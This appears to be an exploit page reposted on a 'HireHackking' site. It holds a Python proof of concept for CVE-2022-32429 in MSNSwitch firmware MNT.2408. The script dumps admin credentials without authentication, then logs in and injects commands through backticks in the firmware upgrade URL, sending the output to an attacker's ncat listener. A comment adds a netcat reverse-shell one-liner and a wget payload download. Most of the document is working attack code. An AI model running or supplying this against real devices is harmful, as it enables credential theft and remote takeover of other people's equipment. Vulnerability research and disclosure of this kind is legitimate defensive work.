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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
Google Dork: n/a
Date:9/1/2022
Exploit Author: Eli Fulkerson
Vendor Homepage: https://www.msnswitch.com/
Version: MNT.2408
Tested on: MNT.2408 firmware
CVE: CVE-2022-32429

#!/usr/bin/python3


"""

POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.

Configuration dump only requires HTTP access.
Full RCE requires you to be on the same subnet as the device.

""" 

import requests
import sys
import urllib.parse
import readline
import random
import string


# listen with "ncat -lk {LISTENER_PORT}" on LISTENER_HOST
LISTENER_HOST = "192.168.EDIT.ME"
LISTENER_PORT = 3434

# target msnswitch
TARGET="192.168.EDIT.ME2"
PORT=80

USERNAME = None
PASSWORD = None

"""
First vulnerability, unauthenticated configuration/credential dump
"""
if USERNAME == None or PASSWORD == None:
	# lets just ask
	hack_url=f"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh"
	session = requests.session()

	data = session.get(hack_url)
	for each in data.text.split('\n'):
		key = None
		val = None

		try:
			key = each.strip().split('=')[0]
			val = each.strip().split('=')[1]
		except:
			pass

		if key == "Account1":
			USERNAME = val
		if key == "Password1":
			PASSWORD = val

"""
Second vulnerability, authenticated command execution

This only works on the local lan.

for full reverse shell, modify and upload netcat busybox shell script to /tmp:

	shell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f
	download to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp

ref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
"""

session = requests.session()

# initial login, establishes our Cookie
burp0_url = f"http://{TARGET}:{PORT}/goform/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{TARGET}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.120.17/login.asp", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"login": "1", "user": USERNAME, "password": PASSWORD}
session.post(burp0_url, headers=burp0_headers, data=burp0_data)

# get our csrftoken
burp0_url = f"http://{TARGET}:{PORT}/saveUpgrade.asp"
data = session.get(burp0_url)

csrftoken = data.text.split("?csrftoken=")[1].split("\"")[0]

while True:
	CMD = input('x:')
	CMD_u = urllib.parse.quote_plus(CMD)
	filename = ''.join(random.choice(string.ascii_letters) for _ in range(25))

	try:
		hack_url = f"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}"

		session.get(hack_url, timeout=0.01)
	except requests.exceptions.ReadTimeout:
		pass